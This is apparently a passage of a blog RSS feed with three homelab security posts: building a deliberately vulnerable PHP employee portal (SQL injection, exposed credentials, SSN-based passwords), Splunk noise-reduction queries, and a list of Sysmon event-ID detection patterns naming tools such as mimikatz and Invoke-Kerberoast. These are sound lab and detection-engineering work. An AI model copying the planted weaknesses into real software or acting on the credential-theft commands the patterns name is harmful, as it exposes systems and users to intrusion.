employees_insert.sql&quot;)<br>print(&quot;    - customers_insert.sql&quot;)<br>print(&quot;    - invoices_insert.sql&quot;)</pre><p>I’ve got the script ready to generate data, first I’ll need to install the “faker” Python module and then run the script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*hRBYDtIzBJ9Pp3tjl6tn8g.png" /><figcaption>Installing faker for mock data</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*GVd8T4VROGaOPM_cyWAr4g.png" /><figcaption>Running the mockdata.py script</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MCGUEFGl7VYxFsO5xuDk-A.png" /></figure><p>And just like that, I’ve got 100 fake employees, 300 fake invoices, and 200 fake customer records.</p><h3>Importing the Mock Data</h3><p>Directory has been created, and the mock data has been generated. Let’s import the mock data into the directory now:</p><pre>cd &quot;C:\Program Files\MySQL\MySQL Server 8.0\bin&quot;<br>.\mysql.exe -u root -pMySQL123!</pre><pre>SOURCE Z:/MySQL/employees_insert.sql;<br>SOURCE Z:/MySQL/customers_insert.sql;<br>SOURCE Z:/MySQL/invoices_insert.sql;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*a9DBbCRg8i9Saz09cOtZZw.png" /><figcaption>Insert SQL mock data</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*6TfkAc042EecMqL32E-nPA.png" /><figcaption>View sample data that was inserted</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*Ix0yE05dheVuXCSfGMd2rA.png" /><figcaption>Sample data snapshot</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*e_861wZpH76329XtLzUxQQ.png" /><figcaption>Sample data snapshot</figcaption></figure><h3>Fake Employee Login Portal</h3><p>I have created the fake company database directory and imported the mock data. Now let’s create the fake employee login portal that authenticates against this database.</p><p><strong>Installing PHP</strong></p><p>I grabbed the <a href="https://windows.php.net/download/"><strong>PHP zip file</strong></a> and copied it to my VirtualBox shared folder, and then extracted the contents into C:\PHP.</p><pre># Navigate to the PHP installation directory<br>cd C:\PHP<br><br># Copy the development template <br>Copy-Item &quot;php.ini-development&quot; -Destination &quot;php.ini&quot; -Force<br><br># Make changes with proper UTF-8 encoding<br>(Get-Content &quot;php.ini&quot; -Raw -Encoding UTF8) `  # Read entire file as single string in UTF-8<br>    -replace &#39;;extension=mysqli&#39;, &#39;extension=mysqli&#39; `  # Enable MySQL database connectivity<br>    -replace &#39;;extension=openssl&#39;, &#39;extension=openssl&#39; `  # Enable SSL/TLS encryption support<br>    -replace &#39;;extension_dir = &quot;ext&quot;&#39;, &#39;extension_dir = &quot;ext&quot;&#39; |  # Set path where PHP finds extension DLLs<br>    Set-Content &quot;php.ini&quot; -Encoding UTF8 -NoNewline  # Write back as UTF-8 without extra line break<br><br># Verify the three critical lines are now active<br>Select-String -Path &quot;C:\PHP\php.ini&quot; -Pattern &quot;^extension=mysqli|^extension=openssl|^extension_dir&quot;</pre><p>By default, most extensions are “commented out” in the configuration file with a semicolon at the start of the line, which tells PHP to ignore them. When a line starts with a semicolon, PHP treats it like it doesn’t exist. The script reads the entire php.ini file into memory, then uses pattern matching to find specific lines and modify them. mysqli lets PHP talk to MySQL databases, openssl provides encryption capabilities for secure connections, and the extension_dir line tells PHP where to find these extension files on your system (in the “ext” subfolder). The key insight here is that the -Raw parameter treats the entire configuration file as one continuous string rather than an array of individual lines, which allows the replacements to work cleanly across the whole file without accidentally corrupting any formatting.</p><pre># Add PHP to PATH permanently<br>[Environment]::SetEnvironmentVariable(&quot;Path&quot;, $env:Path + &quot;;C:\PHP&quot;, [EnvironmentVariableTarget]::Machine)<br><br># Reload PATH for current session<br>$env:Path += &quot;;C:\PHP&quot;<br><br># Test PHP<br>php --version</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*pDSu8YAB2rXutda9TX4mMA.png" /><figcaption>PHP is installed.</figcaption></figure><p><strong>Installing CGI</strong></p><p>IIS is written in one programming language with one set of capabilities, and PHP is an entirely separate program with its own way of working. That’s where CGI comes in. After this command completes, IIS will have the plumbing in place to communicate with PHP efficiently. Instead of creating a new PHP process for every request, FastCGI maintains a pool of persistent PHP processes that stay running in the background.</p><pre># Install CGI feature <br>Install-WindowsFeature Web-CGI<br><br># Import IIS module<br>Import-Module WebAdministration<br><br># Add FastCGI application<br>New-WebHandler -Name &quot;PHP_via_FastCGI&quot; `<br>    -Path &quot;*.php&quot; `<br>    -Verb &quot;*&quot; `<br>    -Modules &quot;FastCgiModule&quot; `<br>    -ScriptProcessor &quot;C:\PHP\php-cgi.exe&quot; `<br>    -ResourceType File<br><br># Configure FastCGI settings<br>$configPath = &quot;system.webServer/fastCgi&quot;<br>Add-WebConfigurationProperty -PSPath &quot;IIS:\&quot; -Filter $configPath -Name &quot;.&quot; -Value @{<br>    fullPath = &quot;C:\PHP\php-cgi.exe&quot;<br>    maxInstances = 4<br>    instanceMaxRequests = 10000<br>    activityTimeout = 300<br>    requestTimeout = 300<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*jLKzcuzPEwvekP1CUtVgAQ.png" /><figcaption>FastCGI is installed.</figcaption></figure><p><strong>Set Default Document</strong></p><p>When you request just example.com (or more precisely, example.com/ with a trailing slash indicating the root directory), you haven’t specified a file at all. You’ve only specified a directory. That’s where the default document comes in.</p><pre># Add index.php to default documents<br>Add-WebConfigurationProperty -PSPath &quot;IIS:\Sites\Default Web Site&quot; `<br>    -Filter &quot;system.webServer/defaultDocument/files&quot; `<br>    -Name &quot;.&quot; `<br>    -Value @{value=&quot;index.php&quot;}</pre><p><strong>Test PHP Installation</strong></p><p>The phpinfo() function is one of PHP&#39;s built-in diagnostic tools, when PHP executes this function, it generates a comprehensive HTML page displaying every aspect of PHP’s current configuration.</p><pre># Create test file<br>cd C:\inetpub\wwwroot<br>@&quot;<br>&lt;?php<br>phpinfo();<br>?&gt;<br>&quot;@ | Out-File -FilePath &quot;test.php&quot; -Encoding UTF8<br><br># Restart IIS<br>iisreset</pre><p>Test from MGR1</p><ul><li>Open browser</li><li>Go to: <a href="http://192.168.56.20/test.php%60">http://192.168.x.x/test.php</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5I-8uYuuFJEEqwVqC1SMyg.png" /><figcaption>Test.php is up.</figcaption></figure><pre># Remove the test file as recommended<br>Remove-Item C:\inetpub\wwwroot\test.php</pre><p><strong>We’ll now create 6 files:</strong></p><p>1. index.html — Login page (what users see first)<br>2. config.php— Database connection (with “exposed” credentials)<br>3. auth.php — Handles login authentication<br>4. dashboard.php — Post-login landing page<br>5. employees.php— Employee directory (with SQL injection)<br>6. styles.css — Basic styling</p><p>View the files needed here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*7O2Zudy4zx0vZZaWIkDmrw.png" /><figcaption>CJCS Corporation login portal is live.</figcaption></figure><p><strong>The First Login</strong></p><p>We don’t need an account for everyone in the company database. Let’s create our “executive user”.</p><pre>cd &quot;C:\Program Files\MySQL\MySQL Server 8.0\bin&quot;<br>.\mysql.exe -u root -pPasswordHere<br><br>USE cjcs_corporate;<br><br>-- Check if Marcus already exists<br>SELECT * FROM employees WHERE email = &#39;marcus.chen@cjcs.local&#39;;<br><br>-- If not there, insert him<br>INSERT INTO employees (first_name, last_name, email, department, job_title, hire_date, salary, ssn_last_four, phone, address) <br>VALUES (&#39;Marcus&#39;, &#39;Chen&#39;, &#39;marcus.chen@cjcs.local&#39;, &#39;Executive&#39;, &#39;Chief Executive Officer&#39;, &#39;2015-01-15&#39;, 250000, &#39;2024&#39;, &#39;206-555-0100&#39;, &#39;123 Seattle Way Seattle WA 98101&#39;);<br><br>-- Verify<br>SELECT * FROM employees WHERE email = &#39;marcus.chen@cjcs.local&#39;;<br><br>EXIT;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*WkDVdKGPbxGZFffF0BRu5w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*c9LMLPdXGDEzPMw9m_ssNA.png" /><figcaption>Successful logon (password is last 4 of SSN).</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hwVafcQPkmsoAKhj9UIU5Q.png" /><figcaption>The employee directory.</figcaption></figure><h3>Next Steps</h3><p>The application works. If “Marcus Chen” can login from his executive workstation — MGR1 — the next step is for KALI (the attacker) to login using these credentials to exfiltrate the company database, while making it look like the login appeared from MGR1. This will require KALI to do reconnaissance before breaching the company network. Let the games begin!</p><p><strong>Follow me:</strong></p><p><a href="https://johnnymeintel.com/">My Website</a></p><p><a href="https://www.linkedin.com/in/johnny-meintel-3a9280269/">LinkedIn</a></p><p><a href="https://x.com/548074G3">X</a></p><p><a href="https://github.com/johnnymeintel/johnnycybersec">GitHub</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=59c0421218f9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Splunk Homelab Noise Reduction — Part 2]]></title>
            <link>https://medium.com/@johnnymeintel/splunk-homelab-noise-reduction-part-2-db1a775a675f?source=rss-88ad9882608d------2</link>
            <guid isPermaLink="false">https://medium.com/p/db1a775a675f</guid>
            <category><![CDATA[homelab]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Johnny Meintel]]></dc:creator>
            <pubDate>Thu, 18 Dec 2025 04:47:31 GMT</pubDate>
            <atom:updated>2025-12-18T04:48:11.719Z</atom:updated>
            <content:encoded><![CDATA[<h3>Splunk Homelab Noise Reduction — Part 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JQBAUbr9TrRugG-_YQMu0w.png" /></figure><p>When I first installed Splunk in my homelab, I was excited to see thousands of events per hour, because I knew it was working. Now that I have been building queries and detection logic, thousands of events per hour has become a challenge at best and a nuisance at worse.</p><p>My <a href="https://medium.com/@johnnymeintel/splunk-homelab-noise-reduction-part-1-6a092164bbc0"><strong>first noise reduction</strong></a> was filtering out the NCSI DNS probe my web application server kept sending out every 5 minutes, it was showing up on my home dashboard error log.</p><p>Now, I’m going to take it a step further and identify some more noisy events in my environment that could be taking up valuable space on my dashboard.</p><h3>Sysmon EventID 1 — Process Creation</h3><p>I ran the following query in Splunk and saw there were 1,120 process creation events in my homelab across 3 machines in just 1 hour:</p><pre>index=windows earliest=-1h EventCode=1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*oYGstZ3AIgJpbVEPgls-Sw.png" /><figcaption>1,120 e/h</figcaption></figure><p>Let’s take this basic query and use it as an opportunity to learn SPL and refine detection engineering logic. As the query suggests, this is literally just showing the number of times Sysmon Event 1 occurs in the last hour across Windows hosts. Since this is a necessary system process, it’s nothing something I should necessarily be concerted with as a security analyst, at least not 1,000 times an hour. Let’s refine this search further to identify what specific processes are being created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*g18iCCLwzzhjEskK2UeR0Q.png" /><figcaption>Interesting Fields</figcaption></figure><p>Take a look on the left. These are some of the Interesting Fields that Splunk has identified. The <strong>ProcessName</strong> is what I am interested in. After clicking on that to refine my search query I was left with this:</p><pre>index=windows earliest=-1h EventCode=1 <br>| eval ProcessName=mvindex(split(Image,&quot;\\&quot;),-1)| search ProcessName=&quot;*&quot;</pre><p><strong>What </strong><strong>mvindex does:</strong> Extracts a specific element from an array.</p><p><strong>Syntax:</strong> mvindex(array, position)</p><ul><li>Before: Image = C:\Windows\System32\svchost.exe</li><li>After: ProcessName = svchost.exe</li></ul><p>Now we need to organize the data by count to perform actual analysis so we don’t have to scroll through every event.</p><pre>index=windows earliest=-1h EventCode=1<br>| eval ProcessName=mvindex(split(Image,&quot;\\&quot;),-1)<br>| stats count by ProcessName<br>| sort - count<br>| head 20</pre><p>We’ve created a count statistic for ProcessName and sorted by that count in descending order.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*W78Z-NCFgKWgIDdyKldONw.png" /><figcaption>Refined query</figcaption></figure><p>There’s at least one of these ProcessNames that I could do without in my homelab — MicrosoftEdgeUpdate.exe:</p><pre># Get the service<br>Get-Service -Name &quot;edgeupdate&quot;<br><br># Disable it<br>Set-Service -Name &quot;edgeupdate&quot; -StartupType Disabled<br><br># Nuke the scheduled task<br>Get-ScheduledTask -TaskPath &quot;\MicrosoftEdgeUpdateTaskMachine*&quot; | Disable-ScheduledTask</pre><p>Now that that’s taken care of, I should address a critical issue here — <strong>Splunk is watching Splunk</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*-nuhR38CfSbt9FLUxap69w.png" /><figcaption>Splunk monitoring</figcaption></figure><p>These are Splunk’s monitoring processes. They run constantly. They’re not threats. They’re not even interesting. They’re just Splunk doing its job. But I don’t need to look at my dashboard and see 1,120 events if a majority of them are from the SIEM itself.</p><pre>index=windows earliest=-1h EventCode=1<br>| eval ProcessName=mvindex(split(Image,&quot;\\&quot;),-1)<br>| stats count by ProcessName<br>| sort - count<br>| head 20<br>| search NOT ProcessName IN (&quot;splunk-powershell.exe&quot;, &quot;splunk-MonitorNoHandle.exe&quot;, &quot;splunk-admon.exe&quot;, &quot;splunk-netmon.exe&quot;, &quot;splunk-regmon.exe&quot;)</pre><p>But what if we left the Splunk data for reference, and instead categorized it as infrastructure?</p><pre>index=windows earliest=-1h EventCode=1<br>| eval ProcessName=mvindex(split(Image,&quot;\\&quot;),-1)<br>| stats count by ProcessName<br>| sort - count<br>| head 20<br>| eval Category=case(<br>    match(ProcessName, &quot;^splunk-&quot;), &quot;Infrastructure (Filter)&quot;,<br>    ProcessName IN (&quot;svchost.exe&quot;, &quot;taskhostw.exe&quot;, &quot;ctfmon.exe&quot;), &quot;Windows Services (Baseline)&quot;,<br>    ProcessName IN (&quot;MicrosoftEdgeUpdate.exe&quot;, &quot;oppldcertstorecheck.exe&quot;, &quot;MouseCoreWorker.exe&quot;), &quot;Application Maintenance (Low Priority)&quot;,<br>    ProcessName IN (&quot;rundll32.exe&quot;), &quot;Investigate CommandLine&quot;,<br>    1=1, &quot;Unknown - Investigate&quot;)<br>| table ProcessName, count, Category</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*jjSGTBC-u6FABp6E8sT5gQ.png" /><figcaption>Query refined further</figcaption></figure><p>Now I can keep all the data, and then decide what’s important.</p><p><strong>Follow me:</strong></p><p><a href="https://johnnymeintel.com/">My Website</a></p><p><a href="https://www.linkedin.com/in/johnny-meintel-3a9280269/">LinkedIn</a></p><p><a href="https://x.com/548074G3">X</a></p><p><a href="https://github.com/johnnymeintel/johnnycybersec">GitHub</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=db1a775a675f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sysmon Is Coming To Windows — Let’s Celebrate By Talking About Event ID Chaining As Indicators Of…]]></title>
            <link>https://medium.com/@johnnymeintel/sysmon-is-coming-to-windows-lets-celebrate-by-talking-about-event-id-chaining-as-indicators-of-ac0076cac754?source=rss-88ad9882608d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ac0076cac754</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[sysmon]]></category>
            <dc:creator><![CDATA[Johnny Meintel]]></dc:creator>
            <pubDate>Thu, 18 Dec 2025 03:47:35 GMT</pubDate>
            <atom:updated>2025-12-18T03:47:35.622Z</atom:updated>
            <content:encoded><![CDATA[<h3>Sysmon Is Coming To Windows — Let’s Celebrate By Talking About Event ID Chaining As Indicators Of Compromise</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q9WOeHv6yv8tmMk6cBpeIA.png" /></figure><p><a href="https://techcommunity.microsoft.com/blog/windows-itpro-blog/native-sysmon-functionality-coming-to-windows/4468112">Three weeks ago</a>, Microsoft announced that native <a href="https://car.mitre.org/sensors/sysmon_10.4.html">Sysmon</a> functionality would be coming to Windows, just over 10 years after it had been released. The built-in Windows logs tell <strong>what</strong> happened, but often leave little insight into <strong>who</strong>, <strong>what</strong>, <strong>where</strong>, or <strong>how</strong> the event took place. This is where <a href="https://car.mitre.org/sensors/sysmon_10.4.html">Sysmon</a> comes in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*iTvVEHW2ADXUlwStPCJa6A.png" /><figcaption>This is big news for Windows security.</figcaption></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FzDPSHJwjGqM%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DzDPSHJwjGqM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FzDPSHJwjGqM%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/18120e86c8deb3e6ca3c1819c027d7c1/href">https://medium.com/media/18120e86c8deb3e6ca3c1819c027d7c1/href</a></iframe><p>As anyone who has used Sysmon knows, these additional insights often introduce a lot of less-than-critical events that may clutter an otherwise actionable security dashboard. But one of the most effective uses of Sysmon along with Windows native Event Viewer is “event ID chaining”. A successful logon would seem to be the furthest thing from malicious activity, but what if it immediately follows a failed logon attempt, and then shortly after the successful logon, is then followed by privilege escalation? This might be an event to track down or watch out for — as it could be an <a href="https://www.microsoft.com/en-us/security/business/security-101/what-are-indicators-of-compromise-ioc">Indicator of Compromise</a>.</p><p>Let’s go over some well-known Windows and Sysmon event chains that typically catch the eyes of security analysts of SIEM monitoring tools.</p><h3>Credential Dumping — LSASS Memory Access</h3><p><em>MITRE ATT&amp;CK: T1003.001 (OS Credential Dumping: LSASS Memory)</em></p><p><strong>Sysmon Event 1 (Process Creation)</strong><br> → suspicious tool execution (mimikatz.exe, procdump.exe, rundll32.exe)<br> → Command line contains “lsass”, “sekurlsa”, or dump-related parameters</p><p><strong>Sysmon Event 10 (ProcessAccess)</strong><br> → TargetImage = C:\Windows\System32\lsass.exe<br> → GrantedAccess = 0x1010 or 0x1410 (PROCESS_VM_READ)<br> → SourceImage = non-system process accessing lsass</p><p><strong>Sysmon Event 11 (FileCreate)</strong><br> → TargetFilename = *.dmp or lsass*.dmp<br> → File created in temp directory or user profile</p><p><strong>Windows Event 4656 (Handle to Object Requested)</strong><br> → ObjectName contains “lsass.exe”<br> → AccessMask = 0x1010 (read process memory)</p><h3>Lateral Movement via RDP</h3><p><em>MITRE ATT&amp;CK: T1021.001 (Remote Services: Remote Desktop Protocol)</em></p><p><strong>Windows Event 4624 (Successful Logon)</strong><br> → Logon Type = 10 (RemoteInteractive / RDP)<br> → Source IP = unexpected/suspicious address<br> → Account = high-value target (admin, executive)</p><p><strong>Windows Event 4672 (Special Privileges Assigned)</strong><br> → Occurs immediately after 4624<br> → Indicates admin-level access granted</p><p><strong>Sysmon Event 1 (Process Creation)</strong><br> → New processes spawned by RDP session<br> → Parent process = rdpclip.exe, LogonUI.exe<br> → Suspicious child processes: cmd.exe, powershell.exe, net.exe</p><p><strong>Sysmon Event 3 (Network Connection)</strong><br> → DestinationIp = internal systems (lateral movement continues)<br> → DestinationPort = 445 (SMB), 3389 (RDP), 5985 (WinRM)</p><h3>Kerberoasting Attack</h3><p><em>MITRE ATT&amp;CK: T1558.003 (Steal or Forge Kerberos Tickets: Kerberoasting)</em></p><p><strong>Sysmon Event 1 (Process Creation)</strong><br> → Image = powershell.exe or python.exe<br> → CommandLine contains “GetUserSPNs”, “Rubeus”, “Invoke-Kerberoast”</p><p><strong>Windows Event 4769 (Kerberos Service Ticket Requested)</strong><br> → Ticket Encryption Type = 0x17 (RC4-HMAC) instead of 0x12 (AES256)<br> → Service Name = service account with SPN (svc-sql, svc-app)<br> → Multiple TGS requests in short time period<br> → Requesting account ≠ service account owner</p><p><strong>Sysmon Event 11 (FileCreate)</strong><br> → TargetFilename = *.kirbi or hashes.txt<br> → File contains Kerberos ticket data</p><p><strong>Sysmon Event 3 (Network Connection — Optional)</strong><br> → Connection to attacker-controlled system for hash exfiltration</p><h3>Pass-the-Hash Attack</h3><p><em>MITRE ATT&amp;CK: T1550.002 (Use Alternate Authentication Material: Pass the Hash)</em></p><p><strong>Windows Event 4624 (Successful Logon)</strong><br> → Logon Type = 3 (Network)<br> → Authentication Package = NTLM (not Kerberos)<br> → Logon from unexpected source system<br> → No corresponding 4768 (Kerberos TGT request)</p><p><strong>Windows Event 4776 (Credential Validation)</strong><br> → Authentication Package = NTLM<br> → Workstation = attacker-controlled system<br> → Multiple failed attempts followed by success</p><p><strong>Windows Event 4672 (Special Privileges Assigned)</strong><br> → Admin privileges assigned via NTLM auth<br> → Occurs on multiple systems in sequence</p><p><strong>Sysmon Event 3 (Network Connection)</strong><br> → Source system initiates SMB connections (port 445)<br> → Multiple target systems in rapid succession</p><h3>PowerShell Command &amp; Control (C2)</h3><p><em>MITRE ATT&amp;CK: T1059.001 (Command and Scripting Interpreter: PowerShell)</em></p><p><strong>Sysmon Event 1 (Process Creation)</strong><br> → Image = powershell.exe<br> → CommandLine contains “-encodedcommand”, “-enc”, “-nop”, “-w hidden”<br> → Parent process = unusual (not explorer.exe, svchost.exe)<br> → User context = not administrator performing expected tasks</p><p><strong>Windows Event 4688 (Process Creation)</strong><br> → Process = powershell.exe<br> → Command contains “IEX”, “Invoke-Expression”, “DownloadString”<br> → Command contains Base64 encoded strings</p><p><strong>Sysmon Event 3 (Network Connection)</strong><br> → Image = powershell.exe<br> → DestinationPort = non-standard (4444, 8080, not 443/80)<br> → DestinationIp = external/unknown IP address<br> → Protocol = TCP outbound</p><p><strong>Sysmon Event 13 (Registry Value Set)</strong><br> → TargetObject = HKLM\Software\Microsoft\Windows\CurrentVersion\Run<br> → Details = powershell script path for persistence</p><h3>Mimikatz Credential Theft</h3><p><em>MITRE ATT&amp;CK: T1003.001 (OS Credential Dumping: LSASS Memory)</em></p><p><strong>Sysmon Event 1 (Process Creation)</strong><br> → Image = mimikatz.exe OR<br> → CommandLine contains “sekurlsa::logonpasswords”, “lsadump::sam”<br> → Parent may be cmd.exe, powershell.exe, or other shell</p><p><strong>Sysmon Event 7 (Image Loaded)</strong><br> → ImageLoaded = vaultcli.dll, samlib.dll (credential access DLLs)<br> → Image = non-Microsoft process loading these DLLs<br> → Signed = False (Mimikatz is unsigned)</p><p><strong>Sysmon Event 10 (ProcessAccess)</strong><br> → TargetImage = lsass.exe<br> → GrantedAccess = 0x1010, 0x1410, 0x147A (memory read permissions)<br> → CallTrace includes unusual modules</p><p><strong>Windows Event 4656 (Handle to Object Requested)</strong><br> → ObjectType = Process<br> → ObjectName contains “lsass.exe”<br> → AccessList includes PROCESS_VM_READ</p><h3>SMB Relay Attack</h3><p><em>MITRE ATT&amp;CK: T1557.001 (Man-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay)</em></p><p><strong>Windows Event 4624 (Successful Logon)</strong><br> → Logon Type = 3 (Network)<br> → Source Network Address = attacker IP (relay source)<br> → Target system = victim account doesn’t normally access<br> → Multiple logons from same IP to different systems</p><p><strong>Windows Event 4672 (Special Privileges Assigned)</strong><br> → Privileges assigned via relayed authentication<br> → Account has admin rights on target</p><p><strong>Windows Event 4768 (Kerberos TGT Request)</strong><br> → Client Address = relay attack IP<br> → Pre-Auth Type = unexpected or missing</p><p><strong>Sysmon Event 3 (Network Connection)</strong><br> → DestinationPort = 445 (SMB)<br> → Multiple connections from attacker to various targets<br> → Source port patterns indicate tool usage</p><h3>Registry Persistence Mechanism</h3><p><em>MITRE ATT&amp;CK: T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)</em></p><p><strong>Sysmon Event 13 (Registry Value Set)</strong><br> → TargetObject = HKLM\Software\Microsoft\Windows\CurrentVersion\Run OR<br> → TargetObject = HKCU\Software\Microsoft\Windows\CurrentVersion\Run<br> → Details = path to suspicious executable or script<br> → Image = non-standard process creating Run key</p><p><strong>Sysmon Event 11 (FileCreate)</strong><br> → TargetFilename = payload executable or script<br> → Directory = user temp, AppData, or ProgramData<br> → File appears shortly before registry modification</p><p><strong>Sysmon Event 1 (Process Creation — on next boot)</strong><br> → ParentImage = userinit.exe or explorer.exe<br> → Image = path matching registry Run key value<br> → Occurs during logon sequence</p><p><strong>Windows Event 4657 (Registry Value Modified)</strong><br> → Object Name contains “CurrentVersion\Run”<br> → Operation Type = New registry value created</p><h3>WMI-based Lateral Movement</h3><p><em>MITRE ATT&amp;CK: T1047 (Windows Management Instrumentation)</em></p><p><strong>Sysmon Event 1 (Process Creation)</strong><br> → ParentImage = wmiprvse.exe (WMI Provider Host)<br> → Image = cmd.exe, powershell.exe, or other shell<br> → CommandLine = attacker commands<br> → User context = network logon account</p><p><strong>Windows Event 4624 (Successful Logon)</strong><br> → Logon Type = 3 (Network)<br> → Logon immediately precedes WMI activity<br> → Source IP = attacker system</p><p><strong>Sysmon Event 19/20/21 (WMI Event)</strong><br> → EventType = WmiEventConsumer (19), WmiEventFilter (20), WmiEventConsumerToFilter (21)<br> → Consumer/Filter names = suspicious or non-standard<br> → Used for persistence or execution</p><p><strong>Sysmon Event 3 (Network Connection)</strong><br> → Image = wmiprvse.exe<br> → DestinationPort = 135 (RPC) or dynamic ports<br> → Connection to other internal systems</p><h3>DCSync Attack — Domain Controller Replication</h3><p><em>MITRE ATT&amp;CK: T1003.006 (OS Credential Dumping: DCSync)</em></p><p><strong>Windows Event 4662 (Directory Service Access)</strong><br> → Object Type = domainDNS or configuration<br> → Properties = {1131f6aa-…} Replicating Directory Changes<br> → Properties = {1131f6ad-…} Replicating Directory Changes All<br> → Account Name = non-DC computer or suspicious account</p><p><strong>Sysmon Event 1 (Process Creation)</strong><br> → Image = mimikatz.exe or powershell.exe<br> → CommandLine contains “lsadump::dcsync”, “Invoke-DCSync”</p><p><strong>Sysmon Event 3 (Network Connection)</strong><br> → DestinationIp = Domain Controller IP<br> → DestinationPort = 135, 389, 445 (replication ports)<br> → Source = non-DC system</p><p><strong>Windows Event 4624 (Successful Logon)</strong><br> → Logon Type = 3 (Network)<br> → Target = Domain Controller<br> → Account has replication rights (shouldn’t for normal users)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*7UecfHi5HtyyQHMV-PnYHQ.png" /><figcaption>Quick reference table</figcaption></figure><p>This will serve as a guide for Phase Four of my homelab — where I will be building queries to detect these specific Indicators of Compromise.</p><p>To Be Continued…</p><p><a href="https://techcommunity.microsoft.com/blog/windows-itpro-blog/native-sysmon-functionality-coming-to-windows/4468112">Native Sysmon functionality coming to Windows (Microsoft Blog)</a></p><p><a href="https://www.microsoft.com/en-us/security/business/security-101/what-are-indicators-of-compromise-ioc">What Are Indicators of Compromise (IOCs)? (Microsoft Blog)</a></p><p><a href="https://www.splunk.com/en_us/blog/security/threat-hunting-sysmon-event-codes.html">Sysmon and Splunk (Splunk Blog)</a></p><p><a href="https://car.mitre.org/sensors/sysmon_10.4.html">MITRE Cyber Analytics Repository — Sysmon</a></p><p><a href="https://attack.mitre.org/">MITRE ATT&amp;CK Framework</a></p><p><strong>Follow me:</strong></p><p><a href="https://johnnymeintel.com/">My Website</a></p><p><a href="https://www.linkedin.com/in/johnny-meintel-3a9280269/">LinkedIn</a></p><p><a href="https://x.com/548074G3">X</a></p><p><a href="https://github.com/johnnymeintel/johnnycybersec">GitHub</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ac0076cac754" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>